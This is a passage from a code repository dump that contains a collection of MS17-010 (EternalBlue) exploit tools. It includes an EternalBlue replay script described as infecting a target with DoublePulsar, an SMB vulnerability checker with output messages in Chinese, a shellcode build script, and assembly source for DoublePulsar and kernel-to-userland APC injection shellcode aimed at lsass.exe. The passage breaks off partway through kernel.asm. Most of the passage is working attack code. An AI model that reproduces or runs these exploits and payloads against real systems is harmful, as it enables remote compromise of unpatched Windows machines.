'best'): 257 | githubsearch(search, regex, '', '', account, project) 258 | elif (args.organize == 'all'): 259 | githubsearch(search, regex, '', '', account, project) 260 | githubsearch(search, regex, 'desc', 'indexed', account, project) 261 | githubsearch(search, regex, 'asc', 'indexed', account, project) 262 | else: 263 | githubsearch(search, regex, '', '', account, project) 264 | 265 | print '[+] DONE' 266 | 267 | try: 268 | if __name__ == "__main__": 269 | main() 270 | except KeyboardInterrupt: 271 | print "[!] Keyboard Interrupt. Shutting down" 272 | -------------------------------------------------------------------------------- /MS17-010/exploits/eternalblue/eternalblue.py: -------------------------------------------------------------------------------- 1 | #!/env/bin/python3 2 | # 3 | # EternalBlue replay attack by @jennamagius 4 | # 5 | # Copyright (C) 2017 RiskSense, Inc. 6 | # 7 | # License: Apache 2.0 8 | # 9 | # Infects a machine with DoublePulsar. 10 | # Tested against Windows Server 2008 R2 SP1 x64 11 | # 12 | # Tree ID and User ID need fixing and it should be 100 emojii 13 | # 14 | 15 | import sys 16 | import socket 17 | import time 18 | import ast 19 | import binascii 20 | 21 | def main(hostip): 22 | backlog = open("eternalblue.dat").read().split("\n\n") 23 | backlog = [ast.literal_eval(i) for i in backlog] 24 | connections = [] 25 | userid = b'\x00\x08' 26 | treeid = b'\x00\x08' 27 | #start = time.monotonic() 28 | for i in backlog: 29 | #delta = i[-1] - (start - time.monotonic()) 30 | #print(i[0], delta) 31 | print(i[0]) 32 | #if delta > 0: 33 | # time.sleep(delta) 34 | #start = time.monotonic() 35 | if i[0] == "connect": 36 | sock = socket.socket() 37 | sock.connect((hostip,445)) 38 | connections.append({"socket":sock,"stream" : i[1]}) 39 | if i[0] == "close": 40 | [j['socket'].close() for j in connections if j["stream"] == i[1]] 41 | if i[0] == "send": 42 | data = i[2].replace(b"__USERID__PLACEHOLDER__", userid) 43 | data = data.replace(b"__TREEID__PLACEHOLDER__", treeid) 44 | [j['socket'].send(data) for j in connections if j["stream"] == i[1]] 45 | if i[0] == "recv": 46 | data = [j['socket'].recv(2048) for j in connections if j['stream'] == i[1]] 47 | if len(i) > 3: 48 | if i[2] == "treeid": 49 | print("Getting TreeID from Tree Connect Response") 50 | treeid = data[0][28:30] 51 | #print("TreeId:", int.from_bytes(treeid,'little')) 52 | if i[2] == "userid": 53 | print("Getting UserID from Session Setup AndX Response") 54 | userid = data[0][32:34] 55 | #print("UserID:", int.from_bytes(userid,'little')) 56 | 57 | 58 | if __name__ == "__main__": 59 | if len(sys.argv) > 1: 60 | main(sys.argv[1]) 61 | else: 62 | print("Usage: ./eternalblue.py HOST") 63 | -------------------------------------------------------------------------------- /MS17-010/ms17-10.py: -------------------------------------------------------------------------------- 1 | # coding=utf-8 2 | 3 | import socket 4 | import binascii 5 | import sys 6 | 7 | ip = sys.argv[1] 8 | 9 | 10 | def get_tree_connect_request(ip, tree_id): 11 | ipc = "005c5c" + binascii.hexlify(ip) + "5c49504324003f3f3f3f3f00" 12 | ipc_len_hex = hex(len(ipc) / 2).replace("0x", "") 13 | smb = "ff534d4275000000001801280000000000000000000000000000729c" + binascii.hexlify( 14 | tree_id) + "c4e104ff00000000000100" + ipc_len_hex + "00" + ipc 15 | tree = "000000" + hex(len(smb) / 2).replace("0x", "") + smb 16 | tree_connect_request = binascii.unhexlify(tree) 17 | return tree_connect_request 18 | 19 | 20 | def check(ip, port, timeout): 21 | negotiate_protocol_request = binascii.unhexlify( 22 | "00000054ff534d4272000000001801280000000000000000000000000000729c0000c4e1003100024c414e4d414e312e3000024c4d312e325830303200024e54204c414e4d414e20312e3000024e54204c4d20302e313200") 23 | session_setup_request = binascii.unhexlify( 24 | "0000008fff534d4273000000001801280000000000000000000000000000729c0000c4e10cff000000dfff0200010000000000310000000000d400008054004e544c4d5353500001000000050208a2010001002000000010001000210000002e3431426c7441314e505974624955473057696e646f7773203230303020323139350057696e646f7773203230303020352e3000") 25 | try: 26 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 27 | s.settimeout(timeout) 28 | s.connect((ip, port)) 29 | s.send(negotiate_protocol_request) 30 | s.recv(1024) 31 | s.send(session_setup_request) 32 | data = s.recv(1024) 33 | user_id = data[32:34] 34 | session_setup_request_2 = binascii.unhexlify( 35 | "00000150ff534d4273000000001801280000000000000000000000000000729c" + binascii.hexlify( 36 | user_id) + "c4e10cff000000dfff0200010000000000f200000000005cd0008015014e544c4d53535000030000001800180040000000780078005800000002000200d000000000000000d200000020002000d200000000000000f2000000050208a2ec893eacfc70bba9afefe94ef78908d37597e0202fd6177c0dfa65ed233b731faf86b02110137dc50101000000000000004724eed7b8d2017597e0202fd6177c0000000002000a0056004b002d005000430001000a0056004b002d005000430004000a0056004b002d005000430003000a0056004b002d00500043000700080036494bf1d7b8d20100000000000000002e003400310042006c007400410031004e005000590074006200490055004700300057696e646f7773203230303020323139350057696e646f7773203230303020352e3000") 37 | s.send(session_setup_request_2) 38 | s.recv(1024) 39 | session_setup_request_3 = binascii.unhexlify( 40 | "00000063ff534d4273000000001801200000000000000000000000000000729c0000c4e10dff000000dfff02000100000000000000000000000000400000002600002e0057696e646f7773203230303020323139350057696e646f7773203230303020352e3000") 41 | s.send(session_setup_request_3) 42 | data = s.recv(1024) 43 | tree_id = data[32:34] 44 | smb = get_tree_connect_request(ip, tree_id) 45 | s.send(smb) 46 | s.recv(1024) 47 | poc = binascii.unhexlify( 48 | "0000004aff534d422500000000180128000000000000000000000000" + binascii.hexlify( 49 | user_id) + "729c" + binascii.hexlify( 50 | tree_id) + "c4e11000000000ffffffff0000000000000000000000004a0000004a0002002300000007005c504950455c00") 51 | s.send(poc) 52 | data = s.recv(1024) 53 | # print data.encode('hex') 54 | if "\x05\x02\x00\xc0" in data: 55 | return ip + u" | 存在SMB远程溢出漏洞" 56 | else: 57 | return ip + u" | 不存在SMB远程溢出" 58 | s.close() 59 | except: 60 | pass 61 | 62 | print check(ip,445,30) 63 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/bin/createthread.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G4rb3n/Python-Code/dbbdc48c45c75ad7d5b5d76e97c0391b9dbd4e30/MS17-010/payloads/x64/bin/createthread.bin -------------------------------------------------------------------------------- /MS17-010/payloads/x64/bin/doublepulsar.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G4rb3n/Python-Code/dbbdc48c45c75ad7d5b5d76e97c0391b9dbd4e30/MS17-010/payloads/x64/bin/doublepulsar.bin -------------------------------------------------------------------------------- /MS17-010/payloads/x64/bin/kernel.bin: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/G4rb3n/Python-Code/dbbdc48c45c75ad7d5b5d76e97c0391b9dbd4e30/MS17-010/payloads/x64/bin/kernel.bin -------------------------------------------------------------------------------- /MS17-010/payloads/x64/build.py: -------------------------------------------------------------------------------- 1 | #=============================================================================# 2 | # A simple python build script to build the singles/stages/stagers and 3 | # some usefull information such as offsets and a hex dump. The binary output 4 | # will be placed in the bin directory. A hex string and usefull comments will 5 | # be printed to screen. 6 | # 7 | # Example: 8 | # >python build.py stager_reverse_tcp_nx 9 | # 10 | # Example, to build everything: 11 | # >python build.py all > build_output.txt 12 | # 13 | # Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com) 14 | #=============================================================================# 15 | import os, sys, time 16 | from subprocess import Popen 17 | from struct import pack 18 | #=============================================================================# 19 | def clean( dir="./bin/" ): 20 | for root, dirs, files in os.walk( dir ): 21 | for name in files: 22 | if name[-4:] == ".bin": 23 | os.remove( os.path.join( root, name ) ) 24 | #=============================================================================# 25 | def locate( src_file, dir="./src/" ): 26 | for root, dirs, files in os.walk( dir ): 27 | for name in files: 28 | if src_file == name: 29 | return root 30 | return None 31 | #=============================================================================# 32 | def build( name ): 33 | location = locate( "%s.asm" % name ) 34 | if location: 35 | input = os.path.normpath( os.path.join( location, name ) ) 36 | output = os.path.normpath( os.path.join( "./bin/", name ) ) 37 | p = Popen( ["nasm", "-f bin", "-O3", "-o %s.bin" % output, "%s.asm" % input ] ) 38 | p.wait() 39 | xmit( name ) 40 | else: 41 | print "[-] Unable to locate '%s.asm' in the src directory" % name 42 | #=============================================================================# 43 | def xmit_dump_ruby( data, length=16 ): 44 | dump = "sc = \"\\xcc\"\n" 45 | for i in xrange( 0, len( data ), length ): 46 | bytes = data[ i : i+length ] 47 | hex = "sc += \"%s\"" % ( ''.join( [ "\\x%02X" % ord(x) for x in bytes ] ) ) 48 | if i+length <= len(data): 49 | hex += " " 50 | dump += "%s\n" % ( hex ) 51 | print dump 52 | #=============================================================================# 53 | def xmit_offset( data, name, value ): 54 | offset = data.find( value ); 55 | if offset != -1: 56 | print "# %s Offset: %d" % ( name, offset ) 57 | #=============================================================================# 58 | def xmit( name, dump_ruby=True ): 59 | bin = os.path.normpath( os.path.join( "./bin/", "%s.bin" % name ) ) 60 | f = open( bin, 'rb') 61 | data = f.read() 62 | print "# Name: %s\n# Length: %d bytes" % ( name, len( data ) ) 63 | xmit_offset( data, "Port", pack( ">H", 4444 ) ) # 4444 64 | xmit_offset( data, "Host", pack( ">L", 0x7F000001 ) ) # 127.0.0.1 65 | xmit_offset( data, "ExitFunk", pack( "]" 78 | else: 79 | print "# Built on %s\n" % ( time.asctime( time.localtime() ) ) 80 | if argv[1] == "clean": 81 | clean() 82 | elif argv[1] == "all": 83 | for root, dirs, files in os.walk( "./src/migrate/" ): 84 | for name in files: 85 | if name[-4:] == ".asm": 86 | build( name[:-4] ) 87 | for root, dirs, files in os.walk( "./src/single/" ): 88 | for name in files: 89 | if name[-4:] == ".asm": 90 | build( name[:-4] ) 91 | for root, dirs, files in os.walk( "./src/stage/" ): 92 | for name in files: 93 | if name[-4:] == ".asm": 94 | build( name[:-4] ) 95 | for root, dirs, files in os.walk( "./src/stager/" ): 96 | for name in files: 97 | if name[-4:] == ".asm": 98 | build( name[:-4] ) 99 | else: 100 | build( argv[1] ) 101 | except Exception, e: 102 | print "[-] ", e 103 | #=============================================================================# 104 | if __name__ == "__main__": 105 | main() 106 | #=============================================================================# 107 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/block/block_api_direct.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 Direct Export API Call 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; Copyright: (c) 2017 RiskSense, Inc. 6 | ; License: Apache 2.0 7 | ; 8 | ; Based on Stephen Fewer's direct API calls 9 | ; 10 | ; Arguments: R15 = module pointer 11 | ; rcx, rdx, r8, r9, stack = normal function call params 12 | ; R11D = hash 13 | ; 14 | ; Clobbers: RAX, RCX, RDX, R8, R9, R11 15 | ; Notes: block_api loads from the PEB. This is more direct. Caller must be sure 16 | ; there is an export in this module. Do not reserve shadow space. 17 | ; 18 | 19 | block_api_direct: 20 | 21 | mov rax, r15 ; make copy of module 22 | 23 | push r9 ; Save parameters 24 | push r8 25 | push rdx 26 | push rcx 27 | 28 | mov rdx, rax 29 | mov eax, dword [rdx+60] ; Get PE header e_lfanew 30 | add rax, rdx 31 | mov eax, dword [rax+136] ; Get export tables RVA 32 | ;test rax, rax ; No test if export address table is present 33 | ;jz _block_api_not_found ; Callers job 34 | 35 | add rax, rdx 36 | push rax ; save EAT 37 | 38 | mov ecx, dword [rax+24] ; NumberOfFunctions 39 | mov r8d, dword [rax+32] ; FunctionNames 40 | add r8, rdx 41 | 42 | _block_api_direct_get_next_func: 43 | ; When we reach the start of the EAT (we search backwards), we hang or crash 44 | dec rcx ; decrement NumberOfFunctions 45 | mov esi, dword [r8+rcx*4] ; Get rva of next module name 46 | add rsi, rdx ; Add the modules base address 47 | 48 | call calc_hash 49 | 50 | cmp r9d, r11d ; Compare the hashes 51 | jnz _block_api_direct_get_next_func ; try the next function 52 | 53 | 54 | _block_api_direct_finish: 55 | 56 | pop rax ; restore EAT 57 | mov r8d, dword [rax+36] 58 | add r8, rdx ; ordinate table virtual address 59 | mov cx, [r8+2*rcx] ; desired functions ordinal 60 | mov r8d, dword [rax+28] ; Get the function addresses table rva 61 | add r8, rdx ; Add the modules base address 62 | mov eax, dword [r8+4*rcx] ; Get the desired functions RVA 63 | add rax, rdx ; Add the modules base address to get the functions actual VA 64 | 65 | pop rcx 66 | pop rdx 67 | pop r8 68 | pop r9 69 | pop r11 ; pop ret addr 70 | 71 | sub rsp, 0x20 ; reserve shadow space 72 | push r11 ; push ret addr 73 | 74 | jmp rax 75 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/block/block_find_dll.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 Find DLL in PEB 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; Copyright: (c) 2017 RiskSense, Inc. 6 | ; License: Apache 2.0 7 | ; 8 | ; Based on Stephen Fewer's direct API calls 9 | ; 10 | ; Arguments: R11D = hash 11 | ; 12 | ; Clobbers: RAX, r11, rdx, rsi, r9 13 | ; Return: RAX = the module or NULL 14 | ; 15 | 16 | block_find_dll: 17 | xor edx, edx 18 | mov rdx, [gs:rdx + 96] 19 | mov rdx, [rdx + 24] ; PEB->Ldr 20 | mov rdx, [rdx + 32] ; InMemoryOrder list 21 | 22 | _block_find_dll_next_mod: 23 | mov rdx, [rdx] 24 | mov rsi, [rdx + 80] ; unicode string 25 | movzx rcx, word [rdx + 74] ; rcx = len 26 | 27 | xor r9d, r9d 28 | 29 | _block_find_dll_loop_mod_name: 30 | xor eax, eax 31 | lodsb 32 | cmp al, 'a' 33 | jl _block_find_dll_not_lowercase 34 | sub al, 0x20 35 | 36 | _block_find_dll_not_lowercase: 37 | ror r9d, 13 38 | add r9d, eax 39 | loop _block_find_dll_loop_mod_name 40 | 41 | cmp r9d, r11d 42 | jnz _block_find_dll_next_mod 43 | 44 | mov rax, [rdx + 32] 45 | ret 46 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/exploit/constants.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows Function Hash Constants 3 | ; 4 | ; for c in str: 5 | ; h += ((h >> 13) | (h << (32 - 13))) + (c | 0x20) & 0xffffffff 6 | ; 7 | 8 | [BITS 64] 9 | [ORG 0] 10 | 11 | LSASS_EXE_HASH equ 0x60795e4a ; hash("lsass.exe") 12 | KERNEL32_DLL_HASH equ 0x50bb715e ; hash("kernel32.dll") 13 | CREATETHREAD_HASH equ 0x221b4546 ; hash("CreateThread") 14 | SPOOLSV_EXE_HASH equ 0xdd1f77bf ; hash("spoolsv.exe") 15 | PSGETCURRENTPROCESS_HASH equ 0x6211725c ; hash("PsGetCurrentProcess") 16 | PSLOOKUPPROCESSBYPROCESSID_HASH equ 0x4ba25566 ; hash("PsLookupProcessByProcessId") 17 | PSGETPROCESSIMAGEFILENAME_HASH equ 0x2d726fa3 ; hash("PsGetProcessImageFileName") 18 | KEGETCURRENTPROCESS_HASH equ 0x5e91685c ; hash("KeGetCurrentProcess") 19 | KEGETCURRENTTHREAD_HASH equ 0x30a3ba7a ; hash("KeGetCurrentThread") 20 | KEINITIALIZEAPC_HASH equ 0x4b55ceac ; hash("KeInitializeApc") 21 | KEINSERTQUEUEAPC_HASH equ 0x9e093818 ; hash("KeInsertQueueApc") 22 | ZWALLOCATEMEMORY_HASH equ 0x3cfbfe1f ; hash("ZwAllocateMemory") 23 | EXALLOCATEPOOL_HASH equ 0x9150ac26 ; hash("ExAllocatePool") 24 | OBFDEREFERENCEOBJECT_HASH equ 0x764dc812 ; hash("ObfDereferenceObject") 25 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/exploit/doublepulsar.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x64 Kernel DoublePulsar Ring 0 to Ring 3 Shellcode 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; Copyright: (c) 2017 RiskSense, Inc. 6 | ; License: Apache 2.0 7 | ; 8 | 9 | ; %define SYSCALL_IRQL 10 | 11 | %include "./src/exploit/constants.asm" 12 | 13 | %ifdef SYSCALL_IRQL 14 | syscall_overwrite: 15 | %endif 16 | 17 | kernel_start: 18 | ; cld 19 | 20 | push rsi ; save clobbered registers 21 | push r15 ; r15 will store ntoskernl.exe 22 | push rbp 23 | 24 | mov rbp, rsp ; we'll use the base pointer 25 | and sp, 0xFFF0 ; align stack 26 | 27 | 28 | ; this stub loads ntoskrnl.exe into rax 29 | %include "./src/kernel/find_nt_idt.asm" 30 | 31 | mov r15, rax ; save ntoskrnl.exe 32 | 33 | lea rdx, [rel kernel_start] ; overwrite the _start with PEPROCESS 34 | mov r10d, LSASS_EXE_HASH 35 | %include "./src/kernel/find_process_name.asm" 36 | 37 | ; KeStackAttachProcess 38 | ; ZwAllocateVirtualMemory 39 | push 0x40 40 | push 0x1000 41 | 42 | ; mov r11d, ZWALLOCATEVIRTUALMEMORY_HASH 43 | call block_api_direct 44 | add rsp, 0x38 45 | 46 | ; rep movs userland 47 | 48 | ; Teb loop 49 | 50 | ; ExAllocatePool(POOL_TYPE.NonPagedPool, 0x90); 51 | xor edx, edx 52 | add dl, 0x90 53 | xor ecx, ecx 54 | mov r11d, EXALLOCATEPOOL_HASH 55 | ; sub rsp, 0x20 56 | call block_api_direct 57 | ; add rsp, 0x40 58 | add rsp, 0x20 59 | 60 | 61 | ; KeInitializeApc() 62 | xor r8, r8 63 | mov r11d, KEINITIALIZEAPC_HASH 64 | call block_api_direct 65 | add rsp, 0x40 66 | 67 | ; KeInsertQueueApc(pAPC, NULL, NULL, NULL); 68 | xor r8, r8 69 | xor r9, r9 70 | xor rdx, rdx 71 | mov r11d, KEINSERTQUEUEAPC_HASH 72 | call block_api_direct 73 | add rsp, 0x20 74 | 75 | ; KeUnstackDetach 76 | ; ObfDereferenceObject 77 | 78 | %include "./src/kernel/calc_thread_delta.asm" 79 | 80 | kernel_exit: 81 | 82 | 83 | mov rsp, rbp 84 | 85 | pop r15 86 | pop rsi ; restore clobbered registers and return 87 | 88 | pop rbp 89 | ret 90 | 91 | userland_start: 92 | 93 | jmp userland_start_thread 94 | 95 | ; user and kernel mode re-use this code 96 | %include "./src/single/calc_hash.asm" 97 | %include "./src/block/block_api_direct.asm" 98 | 99 | userland_start_thread: 100 | %include "./src/single/createthread.asm" 101 | 102 | userland_payload: 103 | ; insert userland payload here 104 | ; such as meterpreter 105 | ; or reflective dll with the metasploit MZ pre-stub 106 | -------------------------------------------------------------------------------- /MS17-010/payloads/x64/src/exploit/kernel.asm: -------------------------------------------------------------------------------- 1 | ; 2 | ; Windows x86/x64 Multi-Arch Kernel Ring 0 to Ring 3 via Queued APC Shellcode 3 | ; 4 | ; Author: Sean Dillon (@zerosum0x0) 5 | ; Copyright: (c) 2017 RiskSense, Inc. 6 | ; Release: 04 May 2017 7 | ; License: Apache 2.0 8 | ; Build: nasm ./kernel.asm 9 | ; Acknowledgements: Stephen Fewer, skape, Equation Group, Shadow Brokers 10 | ; 11 | ; Description: 12 | ; Injects an APC into a specified process. Once in userland, a new thread is 13 | ; created to host the main payload. Add whatever userland payload you want to 14 | ; the end, prepended with two bytes that equal the little endian size of your 15 | ; payload. The userland payload should detect arch if multi-arch is enabled. 16 | ; This payload is convenient, smaller or null-free payloads can be crafted 17 | ; using this as a base template. 18 | ; 19 | ; References: 20 | ; https://github.com/Risksense-Ops/MS17-010 21 | ; https://msdn.microsoft.com/en-us/library/9z1stfyw.aspx 22 | ; https://zerosum0x0.blogspot.com/2017/04/doublepulsar-initial-smb-backdoor-ring.html 23 | ; https://countercept.com/our-thinking/analyzing-the-doublepulsar-kernel-dll-injection-technique/ 24 | ; http://apexesnsyscalls.blogspot.com/2011/09/using-apcs-to-inject-your-dll.html 25 | ; 26 | 27 | BITS 64 28 | ORG 0 29 | 30 | section .text 31 | global payload_start 32 | 33 | ; options which can be enabled 34 | %define USE_X86 ; include x86 payload 35 | %define USE_X64 ; include x64 payload 36 | %define PROCESS_HASH LSASS_EXE_HASH ; the process to queue APC into 37 | %define MAX_PID 0x10000 38 | ; %define CLEAR_DIRECTION_FLAG ; if cld should be run 39 | ; %define SYSCALL_OVERWRITE ; to run at process IRQL in syscall 40 | ; %define ERROR_CHECKS ; lessen chance of BSOD, but bigger size 41 | 42 | ; hashes for export directory lookups 43 | LSASS_EXE_HASH equ 0x60795e4a ; hash("lsass.exe") 44 | SPOOLSV_EXE_HASH equ 0xdd1f77bf ; hash("spoolsv.exe") 45 | CREATETHREAD_HASH equ 0x221b4546 ; hash("CreateThread") 46 | PSGETCURRENTPROCESS_HASH equ 0x6211725c ; hash("PsGetCurrentProcess") 47 | PSLOOKUPPROCESSBYPROCESSID_HASH equ 0x4ba25566 ; hash("PsLookupProcessByProcessId") 48 | PSGETPROCESSIMAGEFILENAME_HASH equ 0x2d726fa3 ; hash("PsGetProcessImageFileName") 49 | KEGETCURRENTPROCESS_HASH equ 0x5e91685c ; hash("KeGetCurrentProcess") 50 | KEGETCURRENTTHREAD_HASH equ 0x30a3ba7a ; hash("KeGetCurrentThread") 51 | KEINITIALIZEAPC_HASH equ 0x4b55ceac ; hash("KeInitializeApc") 52 | KEINSERTQUEUEAPC_HASH equ 0x9e093818 ; hash("KeInsertQueueApc") 53 | KESTACKATTACHPROCESS_HASH equ 0xdc1124e5 ; hash("KeStackAttachProcess") 54 | KEUNSTACKDETACHPROCESS_HASH equ 0x7db3b722 ; hash("KeUnstackDetachProcess") 55 | ZWALLOCATEVIRTUALMEMORY_HASH equ 0xee0aca4b ; hash("ZwAllocateVirtualMemory") 56 | EXALLOCATEPOOL_HASH equ 0x9150ac26 ; hash("ExAllocatePool") 57 | OBFDEREFERENCEOBJECT_HASH equ 0x764dc812 ; hash("ObfDereferenceObject") 58 | KERNEL32_DLL_HASH equ 0x92af16da ; hash_U(L"kernel32.dll", len) 59 | 60 | ; now the shellcode begins 61 | payload_start: 62 | 63 | %ifdef SYSCALL_OVERWRITE 64 | syscall_overwrite: 65 | %endif 66 | 67 | x64_kernel_start: 68 | ; Some "globals", which should not be clobbered, these are also ABI non-volatile 69 | ; ---------------------------------------------- 70 | ; r15 = ntoskrnl.exe base address (DOS MZ header) 71 | ; r14 = &x64_kernel_start 72 | ; r13 = PID/PEPROCESS of injected process 73 | ; rbp = current rsp 74 | 75 | %ifdef CLEAR_DIRECTION_FLAG 76 | cld 77 | %endif 78 | 79 | ; we will restore non-volatile registers 80 | push rsi ; save clobbered registers 81 | push r15 ; r15 = ntoskernl.exe 82 | push r14 ; r14 = &x64_kernel_start 83 | push r13 ; r13 = PID/EPROCESS 84 | 85 | push rbp 86 | 87 | mov rbp, rsp ; we'll use the base pointer 88 | and sp, 0xFFF0 ; align stack to ABI boundary 89 | sub rsp, 0x20 ; reserve shadow stack 90 | 91 | lea r14, [rel x64_kernel_start] ; for use in pointers 92 | 93 | ; this stub loads ntoskrnl.exe into r15 94 | x64_find_nt_idt: 95 | mov r15, qword [gs:0x38] ; get IdtBase of KPCR 96 | mov r15, qword [r15 + 0x4] ; get ISR address 97 | shr r15, 0xc ; strip to page size 98 | shl r15, 0xc 99 | 100 | _x64_find_nt_idt_walk_page: 101 | sub r15, 0x1000 ; walk along page size 102 | mov rsi, qword [r15] 103 | cmp si, 0x5a4d ; 'MZ' header 104 | jne _x64_find_nt_idt_walk_page 105 | 106 | ; now we need to find the EPROCESS to inject into 107 | x64_find_process_name: 108 | xor r13d, r13d 109 | 110 | _x64_find_process_name_loop_pid: 111 | mov ecx, r13d 112 | add ecx, 0x4 113 | %ifdef MAX_PID 114 | cmp ecx, MAX_PID 115 | jge kernel_exit 116 | %endif 117 | 118 | mov rdx, r14 ; PEPROCESS* 119 | mov r13d, ecx ; save current PID 120 | 121 | ; PsLookupProcessById(dwPID, &x64_kernel_start); 122 | mov r11d, PSLOOKUPPROCESSBYPROCESSID_HASH 123 | call x64_block_api_direct 124 | 125 | test eax, eax ; see if STATUS_SUCCESS 126 | jnz _x64_find_process_name_loop_pid 127 | 128 | mov rcx, [r14] ; *rcx = *PEPROCESS 129 | 130 | ; PsGetProcessImageFileName(*(&x64_kernel_start)); 131 | mov r11d, PSGETPROCESSIMAGEFILENAME_HASH 132 | call x64_block_api_direct 133 | 134 | mov rsi, rax 135 | call x64_calc_hash 136 | 137 | ; mov rcx, r13 ; restore dwPID 138 | 139 | cmp r9d, PROCESS_HASH 140 | 141 | jne _x64_find_process_name_loop_pid 142 | 143 | x64_attach_process: 144 | ; mov r13, [r14] ; r13 = EPROCESS 145 | 146 | mov rdx, r14 ; rdx = (PRKAPC_STATE)&x64_kernel_start 147 | mov rcx, [r14] ; rcx = PEPROCESS 148 | 149 | ; KeStackAttachProcess(PEPROCESS, &x64_kernel_start); 150 | mov r11d, KESTACKATTACHPROCESS_HASH 151 | call x64_block_api_direct 152 | 153 | mov r13, [r14] ; r13 = PRKAPC_STATE 154 | 155 | ; ZwAllocateVirtualMemory 156 | push 0x40 ; PAGE_EXECUTE_READWRITE 157 | push 0x1000 ; AllocationType 158 | 159 | lea r9, [r14 + 8] ; r9 = pRegionSize 160 | mov qword [r9], 0x1000 ; *pRegionSize = 0x1000 161 | 162 | xor r8, r8 ; ZeroBits = 0 163 | mov rdx, r14 ; rdx = BaseAddress 164 | xor ecx, ecx 165 | mov qword [rdx], rcx ; set *BaseAddress = NULL 166 | not rcx ; rcx = 0xffffffffffffffff 167 | 168 | ; ZwAllocateVirtualMemory(-1, &baseAddr, 0, 0x1000, 0x1000, 0x40); 169 | mov r11d, ZWALLOCATEVIRTUALMEMORY_HASH 170 | sub rsp, 0x20 ; we have to reserve new shadow stack 171 | call x64_block_api_direct 172 | 173 | %ifdef ERROR_CHECKS 174 | test eax, eax 175 | jnz kernel_exit 176 | %endif 177 | 178 | ; rep movs kernel -> userland 179 | mov rdi, [r14] 180 | lea rsi, [rel userland_start] 181 | xor ecx, ecx 182 | add cx, word [rel userland_payload_size] ; size of payload userland 183 | add cx, userland_payload - userland_start ; size of our userland 184 | rep movsb 185 | 186 | ;%include "./src/kernel/calc_thread_delta.asm" 187 | ; Teb loop 188 | ; ExAllocatePool(POOL_TYPE.NonPagedPool, 0x90); 189 | xor edx, edx 190 | add dl, 0x90 191 | xor ecx, ecx 192 | mov r11d, EXALLOCATEPOOL_HASH 193 | call x64_block_api_direct 194 | 195 | mov r12, rax 196 | 197 | mov r11d, KEGETCURRENTTHREAD_HASH 198 | call x64_block_api_direct 199 | 200 | ; KeInitializeApc(rcx = apc, 201 | ; rdx = pThread, 202 | ; r8 = NULL = OriginalApcEnvironment, 203 | ; r9 = KernelApcRoutine, 204 | ; NULL, 205 | ; InjectionShellCode, 206 | ; 1 /* UserMode */, 207 | ; NULL /* Context */); 208 | mov rcx, r12 ; pool APC 209 | lea r9, [rcx + 0x80] ; dummy kernel APC function 210 | mov byte [r9], 0xc3 ; ret 211 | 212 | lea rdx, [rax] ; pThread; 213 | xor r8, r8 ; OriginalApcEnvironment = NULL 214 | push r8 ; Context = NULL 215 | push 0x1 ; UserMode 216 | mov rax, [r14] 217 | push rax ; userland shellcode 218 | push r8 ; NULL 219 | 220 | sub rsp, 0x20 221 | mov r11d, KEINITIALIZEAPC_HASH 222 | call x64_block_api_direct 223 | 224 | ; KeInsertQueueApc(pAPC, NULL, NULL, NULL); 225 | xor r8, r8 226 | xor r9, r9 227 | xor rdx, rdx 228 | mov rcx, r12 229 | 230 | mov r11d, KEINSERTQUEUEAPC_HASH 231 | call x64_block_api_direct 232 | 233 | ; KeUnstackDetachProcess(pApcState) 234 | mov rcx, r13 235 | mov r11d, KEUNSTACKDETACHPROCESS_HASH 236 | call x64_block_api_direct 237 | 238 | ; ObfDereferenceObject 239 | 240 | kernel_exit: 241 | 242 | mov rsp, rbp 243 | 244 | pop r13 245 | pop r14 246 | pop r15 247 | pop rsi ; restore clobbered registers and return 248 | 249 | pop rbp 250 | ret 251 | 252 | userland_start: 253 | 254 | x64_userland_start: 255 | 256 | jmp x64_userland_start_thread 257 | 258 | ; user and kernel mode re-use this code 259 | x64_calc_hash: 260 | xor r9, r9 261 | 262 | _x64_calc_hash_loop: 263 | xor eax, eax 264 | lodsb ; Read in the next byte of the ASCII function name 265 | ror r9d, 13 ; Rotate right our hash value 266 | cmp al, 'a' 267 | jl _x64_calc_hash_not_lowercase 268 | sub al, 0x20 ; If so normalise to uppercase 269 | _x64_calc_hash_not_lowercase: 270 | add r9d, eax ; Add the next byte of the name 271 | cmp al, ah ; Compare AL to AH (\0) 272 | jne _x64_calc_hash_loop 273 | 274 | ret 275 | 276 | x64_block_find_dll: 277 | xor edx, edx 278 | mov rdx, [gs:rdx + 96] 279 | mov rdx, [rdx + 24] ; PEB->Ldr 280 | mov rdx, [rdx + 32] ; InMemoryOrder list 281 | 282 | _x64_block_find_dll_next_mod: 283 | mov rdx, [rdx] 284 | mov rsi, [rdx + 80] ; unicode string 285 | movzx rcx, word [rdx + 74] ; rcx = len 286 | 287 | xor r9d, r9d 288 | 289 | _x64_block_find_dll_loop_mod_name: 290 | xor eax, eax 291 | lodsb 292 | cmp al, 'a' 293 | jl _x64_block_find_dll_not_lowercase 294 | sub al, 0x20 295 | 296 | _x64_block_find_dll_not_lowercase: 297 | ror r9d, 13 298 | add r9d, eax 299 | loop _x64_block_find_dll_loop_mod_name 300 | 301 | cmp r9d, r11d 302 | jnz _x64_block_find_dll_next_mod 303 | 304 | mov rax, [rdx + 32] 305 | ret 306 | 307 | x64_block_api_direct: 308 | mov rax, r15 ; make copy of module 309 | 310 | push r9 ; Save parameters 311 | push r8 312 | push rdx 313 | push rcx 314 | 315 | mov rdx, rax 316 | mov eax, dword [rdx+60] ; Get PE header e_lfanew 317 | add rax, rdx 318 | mov eax, dword [rax+136] ; Get export tables RVA 319 | 320 | %ifdef ERROR_CHECKS 321 